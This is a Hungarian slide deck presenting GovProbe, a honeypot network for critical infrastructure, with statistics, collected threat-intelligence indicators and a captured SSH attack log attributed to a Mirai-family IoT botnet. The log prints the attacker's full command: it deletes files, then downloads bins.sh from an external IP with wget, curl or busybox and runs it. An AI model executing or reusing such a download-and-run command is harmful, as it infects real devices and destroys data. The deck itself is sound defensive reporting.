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Honeypot

Specializált csapda környezetek 
hálózatvédelemre
Protokollok/rendszerek 
szimulálása

Cél:
Incidens eltérítése az éles rendszerről
Információgyűjtés



GovProbe

Helyszín ~ 25
Aktív szerverek ~ 35
Telepített csapdakörnyezetek ~ 55
Átlagos napi log aktivitás ~ 400.000 bejegyzés

2018 óta védi a kritikus infrastruktúrákat 

Közigazgatás Egészségügy

Informatika és távközlésÉlelmiszeripar

Közlekedés



Az adatok ereje: CTI támogatás 
IOC

• IP címek
• MAC címek
• Port szám
• Forrás ország
• URL
• Domain

• Incidens 
folyamatok

• Megadott 
parancsok

• Felhasznált káros 
kód

• Jelszavak
• Felhasználónevek

• Globális trendek 
megismerése

• Megbízható 
forrás

Támadói 
információ

TTP 
indikátork

Statisztikai 
adatok



Esetpélda
Káros kódok elfogása



@timestamp source.ip fields.trap_type message trace.id

2025.09.03 @ 23:25:45.701 87.120.191.13 ssh Connection lost after 3 seconds 22e2d4ad51ea

2025.09.03 @ 23:25:44.800 87.120.191.13 ssh

CMD: cd /tmp;rm -rf /tmp/* || cd /var/run || cd /mnt || cd /root;rm -
rf /root/* || cd /; wget http://178.16.54.252/bins.sh; curl -O 
http://178.16.54.252/bins.sh;/bin/busybox wget 
http://178.16.54.252/bins.sh; chmod 777 bins.sh;./bins.sh;sh 
bins.sh; rm bins.sh

22e2d4ad51ea

2025.09.03 @ 23:25:44.800 87.120.191.13 ssh (empty) 22e2d4ad51ea

2025.09.03 @ 23:25:43.754 87.120.191.13 ssh login attempt [root/root] succeeded 22e2d4ad51ea

2025.09.03 @ 23:25:42.779 87.120.191.13 ssh SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019 22e2d4ad51ea

2025.09.03 @ 23:25:42.696 87.120.191.13 ssh Remote SSH version: SSH-2.0-Go 22e2d4ad51ea

2025.09.03 @ 23:25:42.695 87.120.191.13 ssh
New connection: 87.120.191.13:42520 (::ffff:10.185.225.2:2222) 
[session: 22e2d4ad51ea]

22e2d4ad51ea











IoT botnet

Router specifikus
(Huawei, Netgear, 
GPON)

Mirai család 
(feltehetően Hakai)



Köszönöm a figyelmet!

Gonda Ábel
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